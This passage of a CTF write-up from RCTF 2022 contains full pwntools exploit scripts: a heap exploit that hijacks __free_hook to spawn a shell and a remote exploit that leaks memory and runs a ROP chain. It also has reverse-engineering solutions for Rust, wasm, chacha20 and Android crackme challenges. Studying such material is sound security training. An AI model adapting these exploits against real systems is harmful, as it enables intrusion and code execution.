    pp.close()
    add(db_name)

def create_edit(db_name, idx, offset, value):
    pp = process([sqlite_bin, "-interactive", "dbs/" + db_name])
    pp.sendlineafter(">", f"create view test(v1) as select se({idx}, {offset}, {value});")
    pp.sendlineafter(">", ".q")
    pp.close()
    add(db_name)

if __name__ == '__main__':
    os.system("rm -f dbs/*")
    if not os.path.exists("dbs"):
        os.mkdir("dbs")
    create_alloc("sm1", 0, 0x1c8)
    create_alloc("sm2", 1, 0x1e8)
    create_alloc("sm3", 2, 0x1e8)
    create_alloc("sm4", 3, 0x1e8)
    create_edit("se1", 0, 0, 0)
    create_edit("se2", 0, 8, 0)
    create_edit("se3", 1, 0, u64('/bin/sh\x00'))
    create_free("sd1", 0)
    create_free("sd2", 1)
    create_free("sd3", 2)
    create_show("ss1", 0)
    use("sm1")
    use("sm2")
    for i in range(8):
        use("sd1")
        if i != 7:
            use("se1")
            use("se2")

    use("ss1")
    ru("Content:")
    rv(0x70)
    libc_addr = u64(rv(8)) - 0x3ebca0
    lg("Libc", libc_addr)
    libc.address = libc_addr
    use("sd2")
    create_edit("se4", 1, 0, libc.symbols["__free_hook"])
    create_edit("se5", 3, 0, libc.symbols["system"])
    use("se4")
    use("sm3")
    use("sm4")
    use("se5")
    use("se3")
    use("sd3")
    p.interactive()

rserver

vulnerability

The program implements a web server based on the http protocol. And the home page can be accessed through a browser.

You can interact with the program through GET and POST requests. By reverse can get:

  1. GET requests access to /login.html. You can use the HOST field and username to log in.
  2. GET requests access to /query.html. You can use PassWord to check the status of a HOST.
  3. GET requests access to /history.html. Another PassWord can be used to view the login history of a username.
  4. POST request to access /logout.html. You can use masterkey (random) and HOST field to log out.

The core vulnerability is in the bitmap operation of HOST. Reading, setting, and resetting all have idx overflow and out-of-bounds vulnerabilities.

exploit

  1. First, through reversing the algorithm, the PassWord of /query.html is 1L0V3ctf, and the PassWord of /history.html is RCTF2022.
  2. The masterkey can be leaked bit by bit Through reading the bitmap out of bounds, so that /logout.html can be used to reset later.
  3. When logout is reset, 1 bit will be written in the bitmap. Use this feature to modifyname_num to a negative number out of bounds so that the canary and binary_base on the stack will be leaked when viewing the history.
  4. Leak heap_base and libc_base through out-of-bounds reading.
  5. Use logout to reset out of bounds again, modify name_num to a large positive number, and write additional pointers on name_list through logout.
  6. In history, when using the name_list pointer to copy data to the stack, it can cause stack overflow. And because of the sandbox, use the ROP of orw to read and print the flag.

See script for details.

script

from pwn import *

context.log_level = True

io = remote("192.168.163.135", 3333)
# io = process("./rserver")
libc = ELF("./libc.so.6")

rl = lambda a=False     : io.recvline(a)
ru = lambda a,b=True    : io.recvuntil(a,b)
rn = lambda x           : io.recvn(x)
sn = lambda x           : io.send(x)
sl = lambda x           : io.sendline(x)
sa = lambda a,b         : io.sendafter(a,b)
sla = lambda a,b        : io.sendlineafter(a,b)
irt = lambda            : io.interactive()
dbg = lambda text=None  : gdb.attach(io, text)
lg = lambda s           : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data      : u32(data.rjust(4, '\x00'))
uu64 = lambda data      : u64(data.rjust(8, '\x00'))


def get_method(url, ip):
    sl("GET %s HTTP/1.1" % url)
    sl("Host: %s" % ip)
    sl("")

def post_method(url, ip, content):
    sl("POST %s HTTP/1.1" % url)
    sl("Host: %s" % ip)
    sl("Content-Length: %d" % len(content))
    sl("")
    sn(content)

def ip2long(ip):
    packedIP = socket.inet_aton(ip)
    return u32(packedIP, endian='big')

def long2ip(num):
    packedIP = p32(num, endian='big')
    return socket.inet_ntoa(packedIP)

def login(ip, name):
    get_method('/login.html?UserName=%s'%name, ip)
    ru('<h1>Success</h1></HTML>\r\n')

def check(ip):
    get_method('/query.html?PassWord=1L0V3ctf', ip)
    ru('<HTML><TITLE>Query Success</TITLE>\r\n<h1>')
    content = ru(' logged in')
    if content == 'Not':
        return 1
    elif content == 'Already':
        return 0

def history(ip):
    get_method('/history.html?PassWord=RCTF2022', ip)

def logout(ip, masterkey):
    post_method('/logout.html', ip, p64(masterkey))
    ru('<h1>Success</h1></HTML>\r\n')

def leak_byte(off):
    base = ip2long('10.12.31.0')
    offset = base + 8*off

    ret = 0
    for x in xrange(8):
        ret += check(long2ip(offset+x)) << x
    return ret

def leak_buf(off, length):
    buf = ''
    for x in xrange(length):
        buf += chr(leak_byte(off+x))

    return buf

def write_byte(off, val, before, masterkey):
    base = ip2long('10.12.31.0')
    offset = base + 8*off

    for x in xrange(8):
        Abit = (val & (1<<x))
        Bbit = (before & (1<<x))
        if Abit!=Bbit:
            if Abit == 0:
                login(long2ip(offset+x), 'A'*3)
            else:
                logout(long2ip(offset+x), masterkey)

def write_buf(off, val, before, masterkey):
    for i in xrange(len(val)):
        write_byte(off+i, ord(val[i]), ord(before[i]), masterkey)

masterkey = u64(leak_buf(-0xa88, 8))
lg('masterkey')

write_buf(-0xa90+4, p32(0x80000080), p32(0), masterkey)

history('10.12.31.0')

ru('<h1>Logined UserName</h1>\n\n<HTML>')
rn(0x408-63)
canary = uu64(rn(8))
lg('canary')

rn(8)
binary_base = uu64(rn(8)) - 0x49ba
lg('binary_base')


write_buf(-0xa98+8+4, p32(0x00000000), p32(0x80000080), masterkey)

heap_base = u64(leak_buf(-0xa88+8, 8)) - 0x2c0
lg('heap_base')


libc_base = u64(leak_buf(-0xa88-0x328, 8)) - libc.sym['exit']
lg('libc_base')

rdi_ret = libc_base + 0x000000000002a3e5
rsi_ret = libc_base + 0x000000000002be51
rdx_r12_ret = libc_base + 0x000000000011f497
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
# write_addr = libc_base + libc.sym['write']
wirte_plt = binary_base + 0x1214


write_buf(-8, p64(canary), p64(0), masterkey)
canary_addr = binary_base + 0x9d50

ipbase = ip2long('10.12.31.0')
login(long2ip(ipbase+0), p64(rdx_r12_ret))      
login(long2ip(ipbase+1), p64(rdi_ret))          
login(long2ip(ipbase+2), p64(rsi_ret))          
login(long2ip(ipbase+3), './flag\x00\x00')      
login(long2ip(ipbase+4), p64(open_addr))        
login(long2ip(ipbase+5), p64(read_addr))        
login(long2ip(ipbase+6), p64(wirte_plt))    
login(long2ip(ipbase+7), p64(1))            
login(long2ip(ipbase+8), p64(3))            
login(long2ip(ipbase+9), p64(0x60))         
login(long2ip(ipbase+10), p64(heap_base+0x360))
login(long2ip(ipbase+11), p64(heap_base+0x480))

for x in xrange(0x76-2-12-4):
    login(long2ip(ipbase+12+x), 'A'*8)
write_buf(-0xa90+4, p32(0x00), p32(0x70), masterkey)
write_buf(-0xa90+4, p32(0x90), p32(0x04), masterkey)

for x in xrange(6):
    write_buf(-0x6d0+8*x, p64(canary_addr), p64(0), masterkey)

write_buf(-0x6d0+8*6, p64(heap_base+0x320), p64(0), masterkey)
write_buf(-0x6d0+8*7, p64(heap_base+0x440), p64(0), masterkey)
write_buf(-0x6d0+8*8, p64(heap_base+0x340), p64(0), masterkey)
write_buf(-0x6d0+8*9, p64(heap_base+0x3f0), p64(0), masterkey)
write_buf(-0x6d0+8*10, p64(heap_base+0x380), p64(0), masterkey)

write_buf(-0x6d0+8*11, p64(heap_base+0x320), p64(0), masterkey)
write_buf(-0x6d0+8*12, p64(heap_base+0x400), p64(0), masterkey)
write_buf(-0x6d0+8*13, p64(heap_base+0x340), p64(0), masterkey)
write_buf(-0x6d0+8*14, p64(heap_base+0x460), p64(0), masterkey)
write_buf(-0x6d0+8*15, p64(heap_base+0x300), p64(0), masterkey)
write_buf(-0x6d0+8*16, p64(heap_base+0x420), p64(0), masterkey)
write_buf(-0x6d0+8*17, p64(heap_base+0x3f0), p64(0), masterkey)
write_buf(-0x6d0+8*18, p64(heap_base+0x3a0), p64(0), masterkey)

write_buf(-0x6d0+8*19, p64(heap_base+0x320), p64(0), masterkey)
write_buf(-0x6d0+8*20, p64(heap_base+0x3e0), p64(0), masterkey)
write_buf(-0x6d0+8*21, p64(heap_base+0x340), p64(0), masterkey)
write_buf(-0x6d0+8*22, p64(heap_base+0x460), p64(0), masterkey)
write_buf(-0x6d0+8*23, p64(heap_base+0x300), p64(0), masterkey)
write_buf(-0x6d0+8*24, p64(heap_base+0x420), p64(0), masterkey)
write_buf(-0x6d0+8*25, p64(heap_base+0x3f0), p64(0), masterkey)
write_buf(-0x6d0+8*26, p64(heap_base+0x3c0), p64(0), masterkey)

write_buf(-0x6d0+8*27, p64(canary_addr), p64(0), masterkey)


history('10.12.31.0')

irt()

K999

https://www.yuque.com/zeroaone/heasgb/zf2ma4ydkckkkg4l?singleDoc#

REVERSE

RTTT

design ideas

This challenge is implemented using rust. It uses a fixed value 0xdeadbeaf as a random number seed to generate a fixed random number sequence, saves the sequences to a binary tree, takes sequences from the tree, and encrypts it with RC4.

solving ideas

Take out the final array for comparison, analyze the rc4 key as Welc0me to RCTF 2O22, and decrypt it to get the inorder sequence.
Obtain the sequence generated by random numbers, construct a binary tree, and correspond the characters to the nodes of the binary tree according to the inorder sequence, and you can get all anses.

There is also a tricky way, input independent characters similar to 0123456789, and dump the intermediate results, because the structure of the book is not affected by the input, so this sequence is always consistent. That is to say, players may not need to recognize that this is a binary tree

script

strings = "C7DD9165-R-72--}332DE0CBEF9C{1776T7DF3DCEF" #RC4解密得出
ans = [0 for i in range(len(strings))]
#seqs可通过patch程序得出,也可在树计算时,通过dump结构体得出
seqs = [-2091641032, -2046454592, -1985917687, -1909886606, -1862332742, -1670362469, -1650023164, -1630749574, -1618425137, -1484038898, -1421416298, -1237053726, -889544633, -813276956, -795429122, -780199959, -725443101, -635881578, -469727653, -453240343, -230139231, -206202292, -203550029, -160789208, -154347808, -45466512, 72417704, 77001130, 375086303, 461491043, 508046036, 644364267, 805054946, 924029679, 1032556020, 1544573214, 1733736026, 1754418720, 1895732982, 1933626194, 2033366609, 2084056329]

for i in range(len(seqs)):
    ans[seq.index(seqs[i])] = strings[i]

flag = ""
for i in ans:
    flag += i
print(flag)

flag

RCTF{03C3E9B2-E37F-2FD6-CD7E-57C91D77DD61}

web_run

I have given 3 files.And I renamed the file named ez_ca.wasm to ez_wasm.2 . rename it and open the file with jeb demo rr other decompile software.Of course, if you are familiar with wasm and emcc, you can also open the program directly with emcc run.

First we need to enter a time

image-20221215020128227

Here, we will convert the timestamp in the correct format we entered into a number.

image-20221215020329724

__f6 weill create random .__f9()will create the uuid which we need.

You can solve this problem in many ways.

First, you can change the judgment of the timestamp, bypass the check, generate a uuid, and perform dynamic debugging to obtain the data in memory.

If you are very insistent on manual reverse, you can sort out the logic of generating uuid.

Here I give you the source code and the way to generate the project. Interested friends can try it by themselves. The challenges are relatively simple.

#include<stdio.h>
#include<string.h>
#include<time.h>
#include<unistd.h>
#include<stdlib.h>

int right_time = 0;
void initial(unsigned long long i){
    srand(i);
}

int getrand(){

    return rand()%(16);
}

char int_2_char(int a){
    if(a>=0&&a<=9){
        return ('0'+a);
    }
    else{
        switch(a)
        {
            case 10:return 'a';break;
            case 11:return 'b';break;
            case 12:return 'c';break;
            case 13:return 'd';break;
            case 14:return 'e';break;
            case 15:return 'f';break;
        }

    }
    return '0';
}

char * creatuuid(char * uuid){

    for(int i=0;i<36;i++){
        if(uuid[i]=='4' || uuid[i]=='-'){
            continue;
        }
        else if(uuid[i]=='x'){
            uuid[i] = int_2_char(getrand());
        }
        else {
            uuid[i] = int_2_char(3 & getrand() | 8);
        }
    }

    return uuid;
}

unsigned long long get_time(){
    unsigned long long year,mon,day,hour,min,ans;
    char ss[20] ="";
    read(0,ss,20); 
    right_time=0;
    sscanf(ss,"%llu/%llu/%llu %llu:%llu",&year,&mon,&day,&hour,&min);
    ans = min+hour*100+day*10000+mon*1000000+year*100000000;
    if(ans == 202211110054)
    {
        puts("This is one of the best && happy moments for me. I won't let you pass!");
        _exit(0);
    }
    printf("%llu\n",ans);
    return ans;


}


int main(){

    char uuid[] = "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx";
    char msg[]  = "yyyyyyyy-yyyy-0yyy-xyyy-yyyyyyyyyyyy";
    initial(get_time());

    creatuuid(uuid);
    puts("input the ca_value:");
    read(0,msg,36);
    if(!memcmp(uuid,msg,36)){
        if(!right_time)
        {
            puts("right value,But the time is not the time I want to hide");
        }
        puts("go ahead!!");
    }
    else{
        puts("error!");
    }
    return 0;
}

It is worth mentioning that if you directly use gcc or g++to compile code, it will be different from the uuid generated by emcc.

how to make&run

emcc ./ez_ca.c -s WASM=1 -o ./ez_ca.html
emrun  --port 8080 ./ez_ca.html

RCTF{40959ea7-26e0-4c9d-8f4a-62faf14ff392}

checkserver

design ideas

The challenge implements a check server that can parse http requests from clients and supports GET and POST request methods.

The checkserver can parse and verify the authcookie of the POST request, and the correct authcookie is the flag.

The verification of authcookie is based on the chacha20 encryption algorithm, and the sigma characteristic value is modified. The chacha_keysetup function is used to set the key. But the key parameter when calling is a false key. The real key is reset in this function, and the key modification part is hidden based on flower instructions and exception handling. And at the same time, flower instructions are used to perform code obfuscation.

solution

Reverse the checkserver binary program, analyze authcookie processing logic, and reverse chacha20 algorithm.
Patch the flower instructions and exception handling part, get the real key, so as to get the correct authcookie, and send the post to the checkserver.

$ ./crack
flag{1b90d90564a58e667319451d1cb6ef}
$ curl -H "Content-Type: application/json" -X POST -d 'authcookie=flag{1b90d90564a58e667319451d1cb6ef}' "http://127.0.0.1:8080/index.html"

script

/*********************************************************************
* Copyright (c) 2016 Jonas Schnelli                                  *
* Distributed under the MIT software license, see the accompanying   *
* file COPYING or http://www.opensource.org/licenses/mit-license.php.*
**********************************************************************/

#include <assert.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
struct chacha_ctx {
  uint32_t input[16];
};


/* $OpenBSD: chacha.c,v 1.1 2013/11/21 00:45:44 djm Exp $ */

typedef unsigned char u8;
typedef unsigned int u32;

typedef struct chacha_ctx chacha_ctx;

#define U8C(v) (v##U)
#define U32C(v) (v##U)

#define U8V(v) ((u8)(v)&U8C(0xFF))
#define U32V(v) ((u32)(v)&U32C(0xFFFFFFFF))

#define ROTL32(v, n) (U32V((v) << (n)) | ((v) >> (32 - (n))))

#define U8TO32_LITTLE(p)                                                       \
  (((u32)((p)[0])) | ((u32)((p)[1]) << 8) | ((u32)((p)[2]) << 16) |            \
   ((u32)((p)[3]) << 24))

#define U32TO8_LITTLE(p, v)                                                    \
  do {                                                                         \
    (p)[0] = U8V((v));                                                         \
    (p)[1] = U8V((v) >> 8);                                                    \
    (p)[2] = U8V((v) >> 16);                                                   \
    (p)[3] = U8V((v) >> 24);                                                   \
  } while (0)

#define ROTATE(v, c) (ROTL32(v, c))
#define XOR(v, w) ((v) ^ (w))
#define PLUS(v, w) (U32V((v) + (w)))
#define PLUSONE(v) (PLUS((v), 1))

#define QUARTERROUND(a, b, c, d)                                               \
  a = PLUS(a, b);                                                              \
  d = ROTATE(XOR(d, a), 16);                                                   \
  c = PLUS(c, d);                                                              \
  b = ROTATE(XOR(b, c), 12);                                                   \
  a = PLUS(a, b);                                                              \
  d = ROTATE(XOR(d, a), 8);                                                    \
  c = PLUS(c, d);                                                              \
  b = ROTATE(XOR(b, c), 7);

static const char sigma[16] = "be1dfd2dc3388169";
static const char tau[16] = "expand 16-byte k";

void chacha_keysetup(chacha_ctx *x, u8 *k, u32 kbits) {
  const char *constants;
    u8 i = 0;
    for(i = 0; i<32; i++)
    {
        k[i] = i + 0x11;
    }
  x->input[4] = U8TO32_LITTLE(k + 0);
  x->input[5] = U8TO32_LITTLE(k + 4);
  x->input[6] = U8TO32_LITTLE(k + 8);
  x->input[7] = U8TO32_LITTLE(k + 12);
  if (kbits == 256) { /* recommended */
    k += 16;
    constants = sigma;
  } else { /* kbits == 128 */
    constants = tau;
  }
  x->input[8] = U8TO32_LITTLE(k + 0);
  x->input[9] = U8TO32_LITTLE(k + 4);
  x->input[10] = U8TO32_LITTLE(k + 8);
  x->input[11] = U8TO32_LITTLE(k + 12);
  x->input[0] = U8TO32_LITTLE(constants + 0);
  x->input[1] = U8TO32_LITTLE(constants + 4);
  x->input[2] = U8TO32_LITTLE(constants + 8);
  x->input[3] = U8TO32_LITTLE(constants + 12);
}

void chacha_ivsetup(chacha_ctx *x, const u8 *iv, const u8 *counter) {
  x->input[12] = counter == NULL ? 0 : U8TO32_LITTLE(counter + 0);
  x->input[13] = counter == NULL ? 0 : U8TO32_LITTLE(counter + 4);
  x->input[14] = U8TO32_LITTLE(iv + 0);
  x->input[15] = U8TO32_LITTLE(iv + 4);
}

void chacha_encrypt_bytes(chacha_ctx *x, const u8 *m, u8 *c, u32 bytes) {
  u32 x0, x1, x2, x3, x4, x5, x6, x7, x8, x9, x10, x11, x12, x13, x14, x15;
  u32 j0, j1, j2, j3, j4, j5, j6, j7, j8, j9, j10, j11, j12, j13, j14, j15;
  u8 *ctarget = NULL;
  u8 tmp[64];
  uint32_t i;

  if (!bytes)
    return;

  j0 = x->input[0];
  j1 = x->input[1];
  j2 = x->input[2];
  j3 = x->input[3];
  j4 = x->input[4];
  j5 = x->input[5];
  j6 = x->input[6];
  j7 = x->input[7];
  j8 = x->input[8];
  j9 = x->input[9];
  j10 = x->input[10];
  j11 = x->input[11];
  j12 = x->input[12];
  j13 = x->input[13];
  j14 = x->input[14];
  j15 = x->input[15];

  for (;;) {
    if (bytes < 64) {
      if (m != NULL) {
        for (i = 0; i < bytes; ++i) {
          tmp[i] = m[i];
        }
        m = tmp;
      }
      ctarget = c;
      c = tmp;
    }
    x0 = j0;
    x1 = j1;
    x2 = j2;
    x3 = j3;
    x4 = j4;
    x5 = j5;
    x6 = j6;
    x7 = j7;
    x8 = j8;
    x9 = j9;
    x10 = j10;
    x11 = j11;
    x12 = j12;
    x13 = j13;
    x14 = j14;
    x15 = j15;
    for (i = 20; i > 0; i -= 2) {
      QUARTERROUND(x0, x4, x8, x12)
      QUARTERROUND(x1, x5, x9, x13)
      QUARTERROUND(x2, x6, x10, x14)
      QUARTERROUND(x3, x7, x11, x15)
      QUARTERROUND(x0, x5, x10, x15)
      QUARTERROUND(x1, x6, x11, x12)
      QUARTERROUND(x2, x7, x8, x13)
      QUARTERROUND(x3, x4, x9, x14)
    }
    x0 = PLUS(x0, j0);
    x1 = PLUS(x1, j1);
    x2 = PLUS(x2, j2);
    x3 = PLUS(x3, j3);
    x4 = PLUS(x4, j4);
    x5 = PLUS(x5, j5);
    x6 = PLUS(x6, j6);
    x7 = PLUS(x7, j7);
    x8 = PLUS(x8, j8);
    x9 = PLUS(x9, j9);
    x10 = PLUS(x10, j10);
    x11 = PLUS(x11, j11);
    x12 = PLUS(x12, j12);
    x13 = PLUS(x13, j13);
    x14 = PLUS(x14, j14);
    x15 = PLUS(x15, j15);

    if (m != NULL) {
      x0 = XOR(x0, U8TO32_LITTLE(m + 0));
      x1 = XOR(x1, U8TO32_LITTLE(m + 4));
      x2 = XOR(x2, U8TO32_LITTLE(m + 8));
      x3 = XOR(x3, U8TO32_LITTLE(m + 12));
      x4 = XOR(x4, U8TO32_LITTLE(m + 16));
      x5 = XOR(x5, U8TO32_LITTLE(m + 20));
      x6 = XOR(x6, U8TO32_LITTLE(m + 24));
      x7 = XOR(x7, U8TO32_LITTLE(m + 28));
      x8 = XOR(x8, U8TO32_LITTLE(m + 32));
      x9 = XOR(x9, U8TO32_LITTLE(m + 36));
      x10 = XOR(x10, U8TO32_LITTLE(m + 40));
      x11 = XOR(x11, U8TO32_LITTLE(m + 44));
      x12 = XOR(x12, U8TO32_LITTLE(m + 48));
      x13 = XOR(x13, U8TO32_LITTLE(m + 52));
      x14 = XOR(x14, U8TO32_LITTLE(m + 56));
      x15 = XOR(x15, U8TO32_LITTLE(m + 60));
    }
    j12 = PLUSONE(j12);
    if (!j12) {
      j13 = PLUSONE(j13);
      /* stopping at 2^70 bytes per nonce is user's responsibility */
    }

    U32TO8_LITTLE(c + 0, x0);
    U32TO8_LITTLE(c + 4, x1);
    U32TO8_LITTLE(c + 8, x2);
    U32TO8_LITTLE(c + 12, x3);
    U32TO8_LITTLE(c + 16, x4);
    U32TO8_LITTLE(c + 20, x5);
    U32TO8_LITTLE(c + 24, x6);
    U32TO8_LITTLE(c + 28, x7);
    U32TO8_LITTLE(c + 32, x8);
    U32TO8_LITTLE(c + 36, x9);
    U32TO8_LITTLE(c + 40, x10);
    U32TO8_LITTLE(c + 44, x11);
    U32TO8_LITTLE(c + 48, x12);
    U32TO8_LITTLE(c + 52, x13);
    U32TO8_LITTLE(c + 56, x14);
    U32TO8_LITTLE(c + 60, x15);

    if (bytes <= 64) {
      if (bytes < 64) {
        for (i = 0; i < bytes; ++i)
          ctarget[i] = c[i];
      }
      x->input[12] = j12;
      x->input[13] = j13;
      return;
    }
    bytes -= 64;
    c += 64;
    if (m != NULL) {
      m += 64;
    }
  }
}
// target: 2e,de,94,c2,41,8f,e3,fa,fb,10,4f,96,64,bf,2d,e3,96,f1,6c,a1,6b,b6,9a,94,fb,70,3f,4b,4b,7e,35,c7,10,90,57,cb
int main(void)
{
    struct chacha_ctx ctx;
    uint8_t iv[8] = {0,};
    unsigned int i = 0;
    uint8_t result[36]= {0xe6, 0xf7, 0x74, 0x9f, 0x05, 0xab, 0x1a, 0x50, 0xbf, 0x28, 0xb6, 0xe6, 0xa4, 0x9e, 0x7f, 0x0d, 0x22, 0xac, 0x76, 0x60, 0xfd, 0xa6, 0x90, 0x5e, 0x91, 0xb4, 0x76, 0xa3, 0x8d, 0x43, 0x88, 0x35, 0xf4, 0xe0, 0x37, 0x6a};

    unsigned char* flag=(unsigned char*)malloc(0x40);
    memcpy(flag,result,36);
    const uint8_t key[32]={0x37, 0x39, 0x37, 0x62, 0x64, 0x31, 0x37, 0x31, 0x37, 0x66, 0x64, 0x35, 0x64, 0x64, 0x36, 0x34, 0x66, 0x63, 0x64, 0x31, 0x66, 0x39, 0x38, 0x39, 0x32, 0x32, 0x62, 0x31, 0x65, 0x30, 0x64, 0x33};
    chacha_ivsetup(&ctx, iv, NULL);
    chacha_keysetup(&ctx, key,256);
    chacha_encrypt_bytes(&ctx, flag, flag, 36);
    printf("%s",flag);
}

CheckYourKey

1

After installing the application, open it and it will display as shown in the figure. Random input will prompt an error. It is obviously a crackme-like challenge. You need to reverse the correct input. It should be the flag.

2

Use jadx to open the apk, you can quickly locate the specific logic of clicking the button.

((Button) findViewById(R.id.checkButton)).setOnClickListener(new View.OnClickListener() { // from class: com.ctf.CheckYourKey.MainActivity.1
            @Override // android.view.View.OnClickListener
            public void onClick(View view) {
                if (MainActivity.ooxx(inputEditText.getText().toString())) {
                    new AlertDialog.Builder(MainActivity.context).setTitle("result").setMessage("Congratulations!").show();
                    new Thread(new Runnable() { // from class: com.ctf.CheckYourKey.MainActivity.1.1
                        @Override // java.lang.Runnable
                        public void run() {
                            try {
                                Thread.sleep(5000);
                            } catch (InterruptedException e) {
                                e.printStackTrace();
                            }
                            System.exit(0);
                        }
                    }).start();
                    return;
                }
                new AlertDialog.Builder(MainActivity.context).setTitle("result").setMessage("Sorry,wrong key ,app is exiting.....").show();
                inputEditText.setText("");
                new Thread(new Runnable() { // from class: com.ctf.CheckYourKey.MainActivity.1.2
                    @Override // java.lang.Runnable
                    public void run() {
                        try {
                            Thread.sleep(5000);
                        } catch (InterruptedException e) {
                            e.printStackTrace();
                        }
                        System.exit(0);
                    }
                }).start();
            }
        });

Therefore, it is only necessary to reverse the ooxx function in the MainActivity class. This function is a jni function and is declared as follows:

public native String stringFromJNI();

    static {
        System.loadLibrary("CheckYourKey");
    }

You can see the application loads the libCheckYourKey.so module is loaded, so you only need to reverse engineer the module.

3

Unzip the apk, you can see that the app only provides 64-bit libCheckYourKey.so. Open it with ida, you can directly locate the statically registered jni function at the beginning of java in the export function, as shown in the figure below:

At the same time, you can see that the so file contains the JNI_OnLoad function. After F5 for this function, the code is as follows:

jint JNI_OnLoad(JavaVM *vm, void *reserved)
{
  __int64 v2; // x3
  __int64 v3; // x3
  __int64 v4; // x3
  __int64 v6; // [xsp+1A8h] [xbp-CF8h]
  jint v8; // [xsp+1C4h] [xbp-CDCh]
  size_t v9; // [xsp+1DCh] [xbp-CC4h]
  int v10; // [xsp+1ECh] [xbp-CB4h]
  unsigned int fd; // [xsp+2A4h] [xbp-BFCh]
  struct dirent *v12; // [xsp+2A8h] [xbp-BF8h]
  DIR *dirp; // [xsp+2B0h] [xbp-BF0h]
  struct dirent *v14; // [xsp+368h] [xbp-B38h]
  DIR *v15; // [xsp+370h] [xbp-B30h]
  size_t v16; // [xsp+41Ch] [xbp-A84h]
  int v17; // [xsp+42Ch] [xbp-A74h]
  unsigned int v18; // [xsp+4E4h] [xbp-9BCh]
  struct dirent *v19; // [xsp+4E8h] [xbp-9B8h]
  DIR *v20; // [xsp+4F0h] [xbp-9B0h]
  struct dirent *v21; // [xsp+5A8h] [xbp-8F8h]
  DIR *v22; // [xsp+5B0h] [xbp-8F0h]
  size_t v23; // [xsp+65Ch] [xbp-844h]
  int v24; // [xsp+66Ch] [xbp-834h]
  unsigned int v25; // [xsp+724h] [xbp-77Ch]
  struct dirent *v26; // [xsp+728h] [xbp-778h]
  DIR *v27; // [xsp+730h] [xbp-770h]
  struct dirent *v28; // [xsp+7E8h] [xbp-6B8h]
  DIR *v29; // [xsp+7F0h] [xbp-6B0h]
  __int64 v30; // [xsp+888h] [xbp-618h] BYREF
  __int64 v31; // [xsp+890h] [xbp-610h] BYREF
  __int64 v32; // [xsp+898h] [xbp-608h] BYREF
  __int64 v33; // [xsp+8A0h] [xbp-600h] BYREF
  char v34[16]; // [xsp+8A8h] [xbp-5F8h] BYREF
  int v35; // [xsp+8B8h] [xbp-5E8h]
  __int64 v36; // [xsp+928h] [xbp-578h] BYREF
  __int64 v37; // [xsp+930h] [xbp-570h] BYREF
  __int64 v38; // [xsp+938h] [xbp-568h] BYREF
  char v39[16]; // [xsp+940h] [xbp-560h] BYREF
  int v40; // [xsp+950h] [xbp-550h]
  __int64 v41; // [xsp+9C0h] [xbp-4E0h] BYREF
  __int64 v42; // [xsp+9C8h] [xbp-4D8h] BYREF
  __int64 v43; // [xsp+9D0h] [xbp-4D0h] BYREF
  char v44[16]; // [xsp+9D8h] [xbp-4C8h] BYREF
  int v45; // [xsp+9E8h] [xbp-4B8h]
  int v46; // [xsp+A58h] [xbp-448h] BYREF
  char v47; // [xsp+A5Ch] [xbp-444h]
  __int128 v48; // [xsp+A60h] [xbp-440h] BYREF
  __int64 (__fastcall *v49)(); // [xsp+A70h] [xbp-430h]
  char v50[512]; // [xsp+A80h] [xbp-420h] BYREF
  __int128 v51; // [xsp+C80h] [xbp-220h] BYREF
  __int128 v52; // [xsp+C90h] [xbp-210h]
  __int128 v53; // [xsp+CA0h] [xbp-200h]
  __int128 v54; // [xsp+CB0h] [xbp-1F0h]
  __int128 v55; // [xsp+CC0h] [xbp-1E0h]
  __int128 v56; // [xsp+CD0h] [xbp-1D0h]
  __int128 v57; // [xsp+CE0h] [xbp-1C0h]
  __int128 v58; // [xsp+CF0h] [xbp-1B0h]
  __int128 v59; // [xsp+D00h] [xbp-1A0h]
  __int128 v60; // [xsp+D10h] [xbp-190h]
  __int128 v61; // [xsp+D20h] [xbp-180h]
  __int128 v62; // [xsp+D30h] [xbp-170h]
  __int128 v63; // [xsp+D40h] [xbp-160h]
  __int128 v64; // [xsp+D50h] [xbp-150h]
  __int128 v65; // [xsp+D60h] [xbp-140h]
  __int128 v66; // [xsp+D70h] [xbp-130h]
  __int128 v67; // [xsp+D80h] [xbp-120h] BYREF
  __int128 v68; // [xsp+D90h] [xbp-110h]
  __int128 v69; // [xsp+DA0h] [xbp-100h]
  __int128 v70; // [xsp+DB0h] [xbp-F0h]
  __int128 v71; // [xsp+DC0h] [xbp-E0h]
  __int128 v72; // [xsp+DD0h] [xbp-D0h]
  __int128 v73; // [xsp+DE0h] [xbp-C0h]
  __int128 v74; // [xsp+DF0h] [xbp-B0h]
  __int128 v75; // [xsp+E00h] [xbp-A0h]
  __int128 v76; // [xsp+E10h] [xbp-90h]
  __int128 v77; // [xsp+E20h] [xbp-80h]
  __int128 v78; // [xsp+E30h] [xbp-70h]
  __int128 v79; // [xsp+E40h] [xbp-60h]
  __int128 v80; // [xsp+E50h] [xbp-50h]
  __int128 v81; // [xsp+E60h] [xbp-40h]
  __int128 v82; // [xsp+E70h] [xbp-30h]

  _ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2));
  v9 = strlen(byte_41088);
  v2 = 0LL;
  v10 = linux_eabi_syscall(__NR_openat, -100, byte_41094, 0);
  if ( v10 >= 1 )
  {
    while ( (int)sub_11810((unsigned int)v10, v50, 512LL, v2) >= 1 )
    {
      if ( strstr(v50, a3Z) )
        dword_0 = 100;
      v66 = 0u;
      v65 = 0u;
      v64 = 0u;
      v63 = 0u;
      v62 = 0u;
      v61 = 0u;
      v60 = 0u;
      v59 = 0u;
      v58 = 0u;
      v57 = 0u;
      v56 = 0u;
      v55 = 0u;
      v54 = 0u;
      v53 = 0u;
      v52 = 0u;
      v51 = 0u;
      v47 = 0;
      v46 = 0;
      if ( sscanf(v50, byte_410B0, &v32, &v31, &v46, &v33, &v51) == 5
        && (unsigned __int8)v46 == 114
        && HIBYTE(v46) == 112
        && !v33
        && strlen((const char *)&v51)
        && (unsigned __int8)v51 != 91
        && (unsigned __int64)(v31 - v32) > 0xF4240
        && !(unsigned int)sub_11AC8(&v51, aDJ)
        && strstr((const char *)&v51, aZ) != (char *)&v51
        && (unsigned int)sub_116D0(v32, v31, byte_41088, v9) == 1 )
      {
        dword_0 = 100;
        break;
      }
    }
  }
  dirp = opendir((const char *)off_41050);
  if ( dirp )
  {
    while ( 1 )
    {
      v12 = readdir(dirp);
      if ( !v12 )
        break;
